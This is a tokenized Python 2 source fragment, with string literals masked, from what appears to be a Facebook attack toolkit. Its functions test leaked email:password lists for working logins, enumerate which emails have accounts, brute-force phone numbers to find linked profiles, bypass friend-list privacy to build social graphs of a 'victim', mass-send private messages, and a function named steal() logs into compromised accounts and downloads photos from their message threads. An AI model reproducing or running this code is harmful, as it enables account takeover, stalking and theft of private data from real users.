'<STR_LIT:">' , line [ match . end ( ) + matchBis . end ( ) : ] ) <EOL> code = line [ match . end ( ) + matchBis . end ( ) : match . end ( ) + matchBis . end ( ) + matchBisBis . start ( ) ] <EOL> fb_dtsg = set_dtsg ( ) <EOL> if ( fb_dtsg == <NUM_LIT:0> ) : <EOL> print '<STR_LIT>' <EOL> arguments [ '<STR_LIT>' ] = fb_dtsg <EOL> arguments [ '<STR_LIT:n>' ] = str ( code ) <EOL> datos = urlencode ( arguments ) <EOL> response = br . open ( '<STR_LIT>' , datos ) <EOL> if globalLogging : <EOL> logs ( response . read ( ) ) <EOL> except mechanize . HTTPError as e : <EOL> print e . code <EOL> except mechanize . URLError as e : <EOL> print e . reason . args <EOL> def massLoginTest ( ) : <EOL> import copy <EOL> i = int ( <NUM_LIT:0> ) <EOL> people = database . getUsersNotLogged ( ) <EOL> print '<STR_LIT>' , <EOL> masterCj = copy . deepcopy ( cj . _cookies ) <EOL> loadPersistentCookie ( ) <EOL> for person in people : <EOL> try : <EOL> cj . _cookies = copy . deepcopy ( masterCj ) <EOL> if person [ <NUM_LIT:4> ] == <NUM_LIT:0> : <EOL> logTestUser ( str ( person [ <NUM_LIT:0> ] ) ) <EOL> cookieArray . append ( cj . _cookies ) <EOL> print cj . _cookies <EOL> cj . clear ( ) <EOL> i += <NUM_LIT:1> <EOL> percentage = ( i * <NUM_LIT> ) / len ( people ) <EOL> flush ( ) <EOL> print '<STR_LIT>' % percentage , <EOL> except : <EOL> print '<STR_LIT>' % person [ <NUM_LIT:0> ] <EOL> continue <EOL> cj . clear ( ) <EOL> savePersistentCookie ( ) <EOL> def plotDOT ( victim ) : <EOL> root = '<STR_LIT>' <EOL> directory = victim <EOL> mkdir ( directory , root ) <EOL> graph = open ( root + "<STR_LIT:\\>" + directory + "<STR_LIT:\\>" + victim + "<STR_LIT>" , "<STR_LIT:wb>" ) <EOL> graph . write ( "<STR_LIT>" ) <EOL> victim = victim . replace ( "<STR_LIT:.>" , "<STR_LIT:_>" ) <EOL> nodes = database . getNodes ( victim ) <EOL> for node in nodes : <EOL> graph . write ( "<STR_LIT:U+0020>" + victim . replace ( "<STR_LIT:_>" , "<STR_LIT:.>" ) + "<STR_LIT>" + node [ <NUM_LIT:0> ] + "<STR_LIT>" ) <EOL> edges = database . getEdges ( victim , node [ <NUM_LIT:0> ] , node [ <NUM_LIT:1> ] ) <EOL> try : <EOL> edgeList = edges [ <NUM_LIT:0> ] [ <NUM_LIT:2> ] . split ( '<STR_LIT:;>' ) <EOL> writed = [ ] <EOL> for individual in edgeList : <EOL> if individual != "<STR_LIT>" and individual not in writed : <EOL> graph . write ( "<STR_LIT:U+0020>" + node [ <NUM_LIT:0> ] + "<STR_LIT>" + str ( individual ) + "<STR_LIT>" ) <EOL> writed . append ( individual ) <EOL> except : <EOL> print '<STR_LIT>' % node [ <NUM_LIT:0> ] <EOL> graph . write ( "<STR_LIT:}>" ) <EOL> graph . close ( ) <EOL> def dotFileDatabase ( victim , transitive ) : <EOL> percentage = <NUM_LIT:0.0> <EOL> friendships = [ ] <EOL> visited = [ ] <EOL> try : <EOL> result = coreFriendshipPrivacy ( victim , transitive ) <EOL> except : <EOL> print '<STR_LIT>' <EOL> return <EOL> transitivo = getName ( transitive ) <EOL> transitivoID = getUserID ( transitive ) <EOL> if transitivoID == - <NUM_LIT:1> : <EOL> transitivoID = transitivo <EOL> database . addNode ( victim , transitivo , transitivoID ) <EOL> for individuos in result : <EOL> friendName = getName ( individuos ) <EOL> friendId = getUserID ( individuos ) <EOL> if friendId == - <NUM_LIT:1> : <EOL> friendId = friendName <EOL> database . addNode ( victim , friendName , friendId ) <EOL> database . addEdge ( victim , transitivo , transitivoID , friendName , friendId ) <EOL> friendships . append ( individuos ) <EOL> i = <NUM_LIT:0.0> <EOL> print '<STR_LIT>' , <EOL> for friends in friendships : <EOL> percentage = ( i * <NUM_LIT> ) / len ( friendships ) <EOL> flush ( ) <EOL> print '<STR_LIT>' % ( i , len ( friendships ) , percentage ) , <EOL> i += <NUM_LIT:1> <EOL> if friends not in visited : <EOL> state = True <EOL> while state == True : <EOL> try : <EOL> result = coreFriendshipPrivacy ( victim , friends ) <EOL> state = False <EOL> except signalCaught as e : <EOL> state = False <EOL> print '<STR_LIT>' <EOL> print '<STR_LIT>' % e . args [ <NUM_LIT:0> ] <EOL> return <EOL> except : <EOL> logs ( '<STR_LIT>' ) <EOL> print '<STR_LIT>' , <EOL> a = raw_input ( '<STR_LIT>' ) <EOL> if a == <NUM_LIT:1> : <EOL> state = False <EOL> else : <EOL> if a == <NUM_LIT:2> : <EOL> email , password = setMail ( ) <EOL> login ( email , password , '<STR_LIT>' ) <EOL> friendName = getName ( friends ) <EOL> friendId = getUserID ( friends ) <EOL> if friendId == - <NUM_LIT:1> : <EOL> friendId = friendName <EOL> database . addNode ( victim , friendName , friendId ) <EOL> for element in result : <EOL> if element not in friendships : <EOL> friendTran = getName ( element ) <EOL> friendTranId = getUserID ( element ) <EOL> if friendId == - <NUM_LIT:1> : <EOL> friendId = friendName <EOL> database . addNode ( victim , friendTran , friendTranId ) <EOL> database . addEdge ( victim , friendName , friendId , friendTran , friendTranId ) <EOL> friendships . append ( element ) <EOL> visited . append ( friends ) <EOL> def simpleDotGraphDatabase ( friends , victim ) : <EOL> for friend in friends : <EOL> try : <EOL> mutual = coreFriendshipPrivacy ( victim , friend ) <EOL> except : <EOL> continue <EOL> transitive = getName ( friend ) <EOL> transitiveID = getUserID ( friend ) <EOL> if transitiveID == - <NUM_LIT:1> : <EOL> transitiveID = transitive <EOL> database . addNode ( victim , transitive , transitiveID ) <EOL> for element in mutual : <EOL> mutualFriend = getName ( element ) <EOL> mutualFriendID = getUserID ( element ) <EOL> if mutualFriendID == - <NUM_LIT:1> : <EOL> mutualFriendID = mutualFriend <EOL> database . addNode ( victim , mutualFriend , mutualFriendID ) <EOL> database . addEdge ( victim , transitive , transitiveID , mutualFriend , mutualFriendID ) <EOL> def friendlyLogout ( noteID , privacy ) : <EOL> fb_dtsg = set_dtsg ( ) <EOL> if ( fb_dtsg == <NUM_LIT:0> ) : <EOL> print '<STR_LIT>' <EOL> return <EOL> existence = raw_input ( "<STR_LIT>" ) <EOL> title = raw_input ( '<STR_LIT>' ) <EOL> content = '<STR_LIT>' <EOL> for i in range ( <NUM_LIT:0> , <NUM_LIT:10> ) : <EOL> content += '<STR_LIT>' + str ( i ) + '<STR_LIT>' <EOL> arguments = { <EOL> '<STR_LIT>' : fb_dtsg , <EOL> '<STR_LIT>' : noteID , <EOL> '<STR_LIT>' : noteID , <EOL> '<STR_LIT:id>' : getC_user ( ) , <EOL> '<STR_LIT:title>' : title , <EOL> '<STR_LIT>' : content , <EOL> '<STR_LIT>' + noteID + '<STR_LIT>' : privacy , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : getC_user ( ) , <EOL> '<STR_LIT>' : '<STR_LIT:1>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' <EOL> } <EOL> datos = urlencode ( arguments ) <EOL> try : <EOL> response = br . open ( '<STR_LIT>' , datos ) <EOL> except mechanize . HTTPError as e : <EOL> logs ( e . code ) <EOL> print e . code <EOL> except mechanize . URLError as e : <EOL> logs ( e . reason . args ) <EOL> print e . reason . args <EOL> except : <EOL> logs ( '<STR_LIT>' ) <EOL> print '<STR_LIT>' <EOL> raise <EOL> arguments = { <EOL> '<STR_LIT>' : fb_dtsg , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT:1>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT:1>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : getC_user ( ) , <EOL> '<STR_LIT>' : '<STR_LIT:1>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT:0>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' + getName ( getC_user ( ) ) + '<STR_LIT>' + noteID + '<STR_LIT>' + noteID + '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT:false>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : privacy , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT:1>' , <EOL> '<STR_LIT>' : getC_user ( ) , <EOL> '<STR_LIT>' : '<STR_LIT:1>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' <EOL> } <EOL> datos = urlencode ( arguments ) <EOL> try : <EOL> response = br . open ( '<STR_LIT>' , datos ) <EOL> except mechanize . HTTPError as e : <EOL> logs ( e . code ) <EOL> print e . code <EOL> except mechanize . URLError as e : <EOL> logs ( e . reason . args ) <EOL> print e . reason . args <EOL> except : <EOL> logs ( '<STR_LIT>' ) <EOL> print '<STR_LIT>' <EOL> raise <EOL> def takePhotos ( threads ) : <EOL> r = open ( os . path . join ( "<STR_LIT>" , "<STR_LIT>" ) , "<STR_LIT:wb>" ) <EOL> fb_dtsg = set_dtsg ( ) <EOL> f = open ( os . path . join ( "<STR_LIT>" , threads ) , "<STR_LIT:r>" ) <EOL> threadList = [ ] <EOL> while True : <EOL> linea = f . readline ( ) <EOL> if not linea : <EOL> break <EOL> threadList . append ( str ( linea . strip ( "<STR_LIT:\n>" ) ) ) <EOL> i = <NUM_LIT:0> <EOL> for message in threadList : <EOL> arguments = { <EOL> '<STR_LIT>' : message , <EOL> '<STR_LIT>' : '<STR_LIT:0>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : getC_user ( ) , <EOL> '<STR_LIT>' : '<STR_LIT:1>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : fb_dtsg , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' <EOL> } <EOL> datos = urlencode ( arguments ) <EOL> try : <EOL> response = br . open ( '<STR_LIT>' , datos ) <EOL> text = response . read ( ) <EOL> r . write ( text + '<STR_LIT:\n>' ) <EOL> except mechanize . HTTPError as e : <EOL> logs ( e . code ) <EOL> print e . code <EOL> except mechanize . URLError as e : <EOL> logs ( e . reason . args ) <EOL> print e . reason . args <EOL> except : <EOL> logs ( '<STR_LIT>' ) <EOL> print '<STR_LIT>' <EOL> raise <EOL> try : <EOL> to_parse = str ( text ) . strip ( '<STR_LIT>' ) <EOL> resultado = json . loads ( to_parse ) <EOL> URLS = [ ] <EOL> for element in resultado [ '<STR_LIT>' ] [ '<STR_LIT>' ] . keys ( ) : <EOL> URLS . append ( resultado [ '<STR_LIT>' ] [ '<STR_LIT>' ] [ element ] [ '<STR_LIT>' ] ) <EOL> for URL in URLS : <EOL> fotos = open ( os . path . join ( '<STR_LIT>' , '<STR_LIT>' , str ( int ( time ( ) ) ) + '<STR_LIT>' ) , "<STR_LIT:wb>" ) <EOL> handler = br . open ( URL ) <EOL> fotos . write ( handler . read ( ) ) <EOL> fotos . close ( ) <EOL> i += <NUM_LIT:1> <EOL> URLS [ : ] <EOL> except : <EOL> print '<STR_LIT>' <EOL> r . close ( ) <EOL> def accountexists ( mailList ) : <EOL> password = '<STR_LIT>' <EOL> mails = [ ] <EOL> try : <EOL> mailFile = open ( os . path . join ( "<STR_LIT>" , mailList ) , "<STR_LIT:r>" ) <EOL> except : <EOL> print '<STR_LIT>' % mailList <EOL> return <EOL> try : <EOL> verified = open ( os . path . join ( "<STR_LIT>" , "<STR_LIT>" , "<STR_LIT>" ) , "<STR_LIT:a>" ) <EOL> verified . close ( ) <EOL> except : <EOL> verified = open ( os . path . join ( "<STR_LIT>" , "<STR_LIT>" , "<STR_LIT>" ) , "<STR_LIT:w>" ) <EOL> verified . close ( ) <EOL> while True : <EOL> line = mailFile . readline ( ) <EOL> if not line : break <EOL> mails . append ( line . strip ( '<STR_LIT:\n>' ) ) <EOL> mailFile . close ( ) <EOL> driver = webdriver . Firefox ( ) <EOL> for email in mails : <EOL> driver . delete_all_cookies ( ) <EOL> driver . get ( "<STR_LIT>" ) <EOL> assert "<STR_LIT>" in driver . title <EOL> elem = driver . find_element_by_name ( "<STR_LIT:email>" ) <EOL> elem . send_keys ( email ) <EOL> elem = driver . find_element_by_name ( "<STR_LIT>" ) <EOL> elem . send_keys ( password ) <EOL> elem . send_keys ( Keys . RETURN ) <EOL> try : <EOL> line = driver . page_source <EOL> match = re . search ( '<STR_LIT>' , line ) <EOL> if match is not None : <EOL> print email + '<STR_LIT>' <EOL> verified = open ( os . path . join ( "<STR_LIT>" , "<STR_LIT>" , "<STR_LIT>" ) , "<STR_LIT:a>" ) <EOL> verified . write ( email + '<STR_LIT:\n>' ) <EOL> verified . close ( ) <EOL> else : <EOL> print email + '<STR_LIT>' <EOL> except : <EOL> logs ( '<STR_LIT>' ) <EOL> print '<STR_LIT>' <EOL> driver . close ( ) <EOL> verified . close ( ) <EOL> def checkLogin ( mailList ) : <EOL> global blocked <EOL> try : <EOL> verified = open ( os . path . join ( "<STR_LIT>" , "<STR_LIT>" , "<STR_LIT>" ) , "<STR_LIT:a>" ) <EOL> except : <EOL> verified = open ( os . path . join ( "<STR_LIT>" , "<STR_LIT>" , "<STR_LIT>" ) , "<STR_LIT:w>" ) <EOL> try : <EOL> mails = open ( os . path . join ( "<STR_LIT>" , mailList ) , "<STR_LIT:r>" ) <EOL> except : <EOL> print '<STR_LIT>' % mailList <EOL> verified . close ( ) <EOL> return <EOL> credenciales = { } <EOL> while True : <EOL> email = mails . readline ( ) <EOL> if not email : break <EOL> index = email . find ( "<STR_LIT::>" ) <EOL> if index != - <NUM_LIT:1> : <EOL> credenciales [ email [ <NUM_LIT:0> : index ] ] = email [ index + <NUM_LIT:1> : ] . strip ( '<STR_LIT:\n>' ) <EOL> credentials = credenciales . keys ( ) <EOL> shuffle ( credentials ) <EOL> for emails in credentials : <EOL> try : <EOL> if ( login ( emails , credenciales [ emails ] , '<STR_LIT>' ) != - <NUM_LIT:1> ) or ( blocked == <NUM_LIT:1> ) : <EOL> verified = open ( os . path . join ( "<STR_LIT>" , "<STR_LIT>" , "<STR_LIT>" ) , "<STR_LIT:a>" ) <EOL> verified . write ( emails + '<STR_LIT::>' + credenciales [ emails ] + '<STR_LIT:\n>' ) <EOL> verified . close ( ) <EOL> print emails + '<STR_LIT>' <EOL> blocked = <NUM_LIT:0> <EOL> else : <EOL> print emails + '<STR_LIT>' <EOL> except signalCaught as e : <EOL> print '<STR_LIT>' <EOL> return <EOL> except : <EOL> continue <EOL> try : <EOL> verified . close ( ) <EOL> except : <EOL> return <EOL> def steal ( ) : <EOL> global blocked <EOL> try : <EOL> verified = open ( os . path . join ( "<STR_LIT>" , "<STR_LIT>" , "<STR_LIT>" ) , "<STR_LIT:r>" ) <EOL> except : <EOL> print '<STR_LIT>' <EOL> return <EOL> credenciales = { } <EOL> while True : <EOL> email = verified . readline ( ) <EOL> if not email : break <EOL> index = email . find ( "<STR_LIT::>" ) <EOL> if index != - <NUM_LIT:1> : <EOL> credenciales [ email [ <NUM_LIT:0> : index ] ] = email [ index + <NUM_LIT:1> : ] . strip ( '<STR_LIT:\n>' ) <EOL> for emails in credenciales . keys ( ) : <EOL> if ( login ( emails , credenciales [ emails ] , '<STR_LIT>' ) != - <NUM_LIT:1> ) or ( blocked == <NUM_LIT:1> ) : <EOL> print emails + '<STR_LIT>' <EOL> if blocked == <NUM_LIT:1> : <EOL> blocked = <NUM_LIT:0> <EOL> print '<STR_LIT>' <EOL> else : <EOL> check = checkPrivacy ( '<STR_LIT>' ) <EOL> username = checkMe ( "<STR_LIT>" ) <EOL> friendList , friendsName = friendshipPlot ( check , username ) <EOL> fileThreads = open ( os . path . join ( "<STR_LIT>" , "<STR_LIT>" ) , "<STR_LIT:wb>" ) <EOL> for friends in friendList : <EOL> fileThreads . write ( friends + '<STR_LIT:\n>' ) <EOL> fileThreads . close ( ) <EOL> takePhotos ( "<STR_LIT>" ) <EOL> else : <EOL> sleep ( <NUM_LIT:10> ) <EOL> print emails + '<STR_LIT>' <EOL> def getUserIDS ( username ) : <EOL> usernameAndID = { } <EOL> usernamesFile = open ( os . path . join ( '<STR_LIT>' , username , username + "<STR_LIT>" ) , "<STR_LIT:r>" ) <EOL> userIDSFile = open ( os . path . join ( '<STR_LIT>' , username , username + "<STR_LIT>" ) , "<STR_LIT:w>" ) . close ( ) <EOL> userIDS = [ ] <EOL> usernames = [ ] <EOL> percentage = <NUM_LIT:0.0> <EOL> i = <NUM_LIT:0> <EOL> while True : <EOL> linea = usernamesFile . readline ( ) <EOL> if not linea : <EOL> break <EOL> usernames . append ( linea . strip ( '<STR_LIT:\n>' ) ) <EOL> total = len ( usernames ) <EOL> for user in usernames : <EOL> flush ( ) <EOL> percentage = ( <NUM_LIT> * i ) / total <EOL> print '<STR_LIT>' % percentage , <EOL> userIDSFile = open ( os . path . join ( '<STR_LIT>' , username , username + "<STR_LIT>" ) , "<STR_LIT:a>" ) <EOL> userID = getUserID ( user ) <EOL> userIDS . append ( userID ) <EOL> try : <EOL> userIDSFile . write ( userID + '<STR_LIT:\n>' ) <EOL> usernameAndID [ userID + '<STR_LIT:\n>' ] = user <EOL> except : <EOL> print '<STR_LIT>' <EOL> userIDSFile . close ( ) <EOL> i += <NUM_LIT:1> <EOL> pickle . dump ( usernameAndID , open ( os . path . join ( '<STR_LIT>' , username , username + "<STR_LIT>" ) , "<STR_LIT:wb>" ) ) <EOL> def sendPrivateMessage ( message , buddy ) : <EOL> c_user = getC_user ( ) <EOL> try : <EOL> fb_dtsg = set_dtsg ( ) <EOL> if ( fb_dtsg == <NUM_LIT:0> ) : <EOL> print '<STR_LIT>' <EOL> arguments = { <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' + c_user , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : str ( int ( time ( ) ) ) , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : getTime ( ) , <EOL> '<STR_LIT>' : '<STR_LIT:0>' , <EOL> '<STR_LIT>' : '<STR_LIT:false>' , <EOL> '<STR_LIT>' : '<STR_LIT:false>' , <EOL> '<STR_LIT>' : '<STR_LIT:false>' , <EOL> '<STR_LIT>' : '<STR_LIT:false>' , <EOL> '<STR_LIT>' : '<STR_LIT:false>' , <EOL> '<STR_LIT>' : '<STR_LIT:false>' , <EOL> '<STR_LIT>' : '<STR_LIT:false>' , <EOL> '<STR_LIT>' : '<STR_LIT:false>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : message , <EOL> '<STR_LIT>' : '<STR_LIT:false>' , <EOL> '<STR_LIT>' : '<STR_LIT:false>' , <EOL> '<STR_LIT>' : '<STR_LIT>' + buddy , <EOL> '<STR_LIT>' : '<STR_LIT>' + c_user , <EOL> '<STR_LIT>' : '<STR_LIT:true>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT:0>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' + str ( c_user ) , <EOL> '<STR_LIT>' : '<STR_LIT:0>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : c_user , <EOL> '<STR_LIT>' : '<STR_LIT:1>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : fb_dtsg , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' <EOL> } <EOL> datos = urlencode ( arguments ) <EOL> response = br . open ( '<STR_LIT>' , datos ) <EOL> if globalLogging : <EOL> logs ( response . read ( ) ) <EOL> except mechanize . HTTPError as e : <EOL> print e . code <EOL> except mechanize . URLError as e : <EOL> print e . reason . args <EOL> except : <EOL> print '<STR_LIT>' <EOL> return <EOL> def sendBroadcast ( online ) : <EOL> print '<STR_LIT>' <EOL> try : <EOL> driver = webdriver . Firefox ( ) <EOL> driver . get ( "<STR_LIT>" ) <EOL> cookies = pickle . load ( open ( "<STR_LIT>" , "<STR_LIT:rb>" ) ) <EOL> for cookie in cookies : <EOL> driver . add_cookie ( cookie ) <EOL> open ( "<STR_LIT>" , "<STR_LIT:wb>" ) . close ( ) <EOL> driver . get ( "<STR_LIT>" ) <EOL> assert "<STR_LIT>" in driver . title <EOL> data = driver . page_source <EOL> driver . close ( ) <EOL> buddies = MyParser . parseOnline ( data ) <EOL> if len ( buddies ) == <NUM_LIT:0> : <EOL> print '<STR_LIT>' <EOL> return <EOL> message = raw_input ( '<STR_LIT>' ) <EOL> percentage = <NUM_LIT:0.0> <EOL> i = <NUM_LIT:0> <EOL> for buddy in buddies : <EOL> flush ( ) <EOL> percentage = ( <NUM_LIT> * i ) / len ( buddies ) <EOL> print '<STR_LIT>' % percentage , <EOL> sendPrivateMessage ( message , buddy ) <EOL> i += <NUM_LIT:1> <EOL> except mechanize . HTTPError as e : <EOL> logs ( e . code ) <EOL> print e . code <EOL> except mechanize . URLError as e : <EOL> logs ( e . reason . args ) <EOL> print e . reason . args <EOL> except : <EOL> logs ( '<STR_LIT>' ) <EOL> print '<STR_LIT>' <EOL> raise <EOL> def getFriends ( username ) : <EOL> mkdir ( username , '<STR_LIT>' ) <EOL> friends = [ ] <EOL> next = username + '<STR_LIT>' <EOL> driver = webdriver . Firefox ( ) <EOL> driver . get ( "<STR_LIT>" ) <EOL> cookies = pickle . load ( open ( "<STR_LIT>" , "<STR_LIT:rb>" ) ) <EOL> for cookie in cookies : <EOL> driver . add_cookie ( cookie ) <EOL> open ( "<STR_LIT>" , "<STR_LIT:wb>" ) . close ( ) <EOL> while next != - <NUM_LIT:1> : <EOL> driver . get ( "<STR_LIT>" + next ) <EOL> driver . execute_script ( "<STR_LIT>" ) <EOL> data = driver . page_source <EOL> list , next = MyParser . parseFriends ( data ) <EOL> friends += list <EOL> usernames = open ( os . path . join ( '<STR_LIT>' , username , username + "<STR_LIT>" ) , "<STR_LIT:w>" ) <EOL> for friend in friends : <EOL> usernames . write ( friend + '<STR_LIT:\n>' ) <EOL> usernames . close ( ) <EOL> driver . close ( ) <EOL> def bruteforceCel ( first , start , end ) : <EOL> c_user = getC_user ( ) <EOL> try : <EOL> f = open ( os . path . join ( "<STR_LIT>" , "<STR_LIT>" ) , "<STR_LIT:a>" ) <EOL> f . close ( ) <EOL> except : <EOL> f = open ( os . path . join ( "<STR_LIT>" , "<STR_LIT>" ) , "<STR_LIT:wb>" ) <EOL> f . close ( ) <EOL> percentage = <NUM_LIT:0.0> <EOL> verified = <NUM_LIT:0> <EOL> for cellphone in range ( int ( start ) , int ( end ) ) : <EOL> percentage = ( ( cellphone - int ( start ) ) * <NUM_LIT> ) / ( int ( end ) - int ( start ) ) <EOL> flush ( ) <EOL> print '<STR_LIT>' % ( percentage , cellphone , verified ) , <EOL> try : <EOL> response = br . open ( '<STR_LIT>' + first + str ( cellphone ) + '<STR_LIT>' + c_user + '<STR_LIT>' + c_user + '<STR_LIT>' ) <EOL> text = response . read ( ) <EOL> json_dump = json . loads ( text . strip ( '<STR_LIT>' ) ) <EOL> f = open ( os . path . join ( "<STR_LIT>" , "<STR_LIT>" ) , "<STR_LIT:a>" ) <EOL> f . write ( first + str ( cellphone ) + '<STR_LIT:U+0020>' + str ( json_dump [ '<STR_LIT>' ] [ '<STR_LIT>' ] [ <NUM_LIT:0> ] [ '<STR_LIT:path>' ] ) + '<STR_LIT:U+0020>' + str ( json_dump [ '<STR_LIT>' ] [ '<STR_LIT>' ] [ <NUM_LIT:0> ] [ '<STR_LIT>' ] ) + '<STR_LIT:\n>' ) <EOL> f . close ( ) <EOL> verified += <NUM_LIT:1> <EOL> except mechanize . HTTPError as e : <EOL> logs ( e . code ) <EOL> print e . code <EOL> except mechanize . URLError as e : <EOL> logs ( e . reason . args ) <EOL> print e . reason . args <EOL> except : <EOL> f . close ( ) <EOL> continue </s>
